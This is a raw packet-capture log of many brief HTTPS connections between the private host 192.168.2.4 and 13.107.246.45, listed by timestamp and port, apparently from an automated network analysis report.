Nov 20, 2024 07:49:10.077657938 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.077753067 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.077900887 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.077922106 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.077941895 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.077949047 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.081759930 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.081861019 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.081959009 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.082195044 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.082237959 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.148936987 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.149671078 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.149703979 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.150187016 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.150192976 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.187905073 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.188678026 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.188730001 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.189073086 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.189086914 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.207158089 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.207727909 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.207751036 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.208133936 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.208142042 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.251327991 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.251439095 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.251537085 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.251872063 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.251897097 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.251908064 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.251914978 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.255768061 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.255821943 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.255923986 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.256180048 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.256197929 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.276469946 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.277137995 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.277180910 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.277626038 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.277642012 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.291188002 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.293442965 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.293556929 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.293627977 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.293628931 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.293673992 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.293699980 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.297091961 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.297151089 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.297252893 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.297431946 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.297450066 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.308094025 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.308455944 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.308552027 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.308609962 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.308631897 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.308648109 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.308655024 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.312077999 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.312125921 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.312232971 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.312443972 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.312464952 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.374524117 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.374676943 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.374862909 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.375176907 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.375214100 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.375242949 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.375257969 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.379040956 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.379091024 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.379192114 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.379414082 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.379431009 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.746507883 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.747324944 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.747356892 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.748243093 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.748270988 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.850946903 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.852210999 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.852260113 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.852264881 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.852312088 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.852349997 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.852371931 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.852386951 CET	49855	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.852394104 CET	443	49855	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.855896950 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.855928898 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.856013060 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.856157064 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.856169939 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.904783010 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.905371904 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.905395985 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.906018019 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.906023979 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.944600105 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.945100069 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.945125103 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.945730925 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.945738077 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.945980072 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.946360111 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.946381092 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.946798086 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:10.946805954 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.005552053 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.005815983 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.005886078 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.005980968 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.006012917 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.006030083 CET	49856	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.006037951 CET	443	49856	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.009397984 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.009433031 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.009526968 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.009696960 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.009704113 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.038199902 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.038760900 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.038800001 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.039247990 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.039266109 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046586037 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046652079 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046708107 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.046720982 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046736956 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046811104 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.046947956 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.046967030 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.046979904 CET	49857	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.046988010 CET	443	49857	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.047188044 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.047358036 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.047410965 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.047446966 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.047446966 CET	49858	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.047462940 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.047472954 CET	443	49858	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.050481081 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.050482988 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.050510883 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.050523996 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.050803900 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.050816059 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.050911903 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.050929070 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.051104069 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.051115036 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.149846077 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.152359962 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.152437925 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.152791023 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.152823925 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.152856112 CET	49859	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.152870893 CET	443	49859	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.157469034 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.157526970 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.157603025 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.157876968 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.157895088 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.503000975 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.503676891 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.503689051 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.504199028 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.504201889 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.602480888 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.602566004 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.602622032 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.602798939 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.602813005 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.602823973 CET	49860	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.602829933 CET	443	49860	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.606082916 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.606137991 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.606224060 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.606395960 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.606409073 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.681104898 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.681608915 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.681622982 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.682118893 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.682125092 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.687989950 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.688446045 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.688474894 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.689022064 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.689028978 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.690803051 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.691150904 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.691160917 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.691576958 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.691581011 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.781120062 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.781645060 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.781722069 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.781790018 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.781806946 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.781820059 CET	49863	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.781826973 CET	443	49863	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.784821033 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.784873962 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.784954071 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.785244942 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.785259962 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.789818048 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.790155888 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.790216923 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.790252924 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.790268898 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.790281057 CET	49862	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.790287018 CET	443	49862	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.792294025 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.792339087 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.792658091 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.792771101 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.792788982 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.798943043 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.798979998 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.799031019 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.799031973 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.799073935 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.799114943 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.799123049 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.799134970 CET	49861	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.799139023 CET	443	49861	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.801136017 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.801173925 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.801227093 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.801479101 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.801496029 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.836555958 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.845632076 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.845655918 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.846378088 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.846384048 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.948749065 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.948853970 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.948913097 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.949048996 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.949074984 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.949090958 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.949099064 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.952016115 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.952059984 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:11.952131987 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.952338934 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:11.952351093 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.286812067 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.290715933 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.290734053 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.291660070 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.291665077 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.386807919 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.395474911 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.395579100 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.395627975 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.395698071 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.395765066 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.395786047 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.395802975 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.395808935 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.398794889 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.398844957 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.398927927 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.399079084 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.399100065 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.430963039 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.431555986 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.431585073 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.432060003 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.432064056 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.436104059 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.436532974 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.436583996 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.436949015 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.436955929 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.457310915 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.457912922 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.457938910 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.458421946 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.458430052 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.533620119 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.533691883 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.533745050 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.534019947 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.534039974 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.534050941 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.534055948 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.536875963 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.537168980 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.537262917 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.537513018 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.537580013 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.537672043 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.537904978 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.537935019 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.537955999 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.537964106 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.539021015 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.539038897 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.547486067 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.547523975 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.547589064 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.547745943 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.547755003 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.565685034 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.565947056 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.565984964 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.566051006 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.566113949 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.566113949 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.568357944 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.568357944 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.568367958 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.568392038 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.568466902 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.568598986 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.568608046 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.612637997 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.613169909 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.613193989 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.613637924 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.613642931 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.716902018 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.716980934 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.717080116 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.717333078 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.717355013 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.717370033 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.717375994 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.720429897 CET	49874	443	192.168.2.4	13.107.246.45
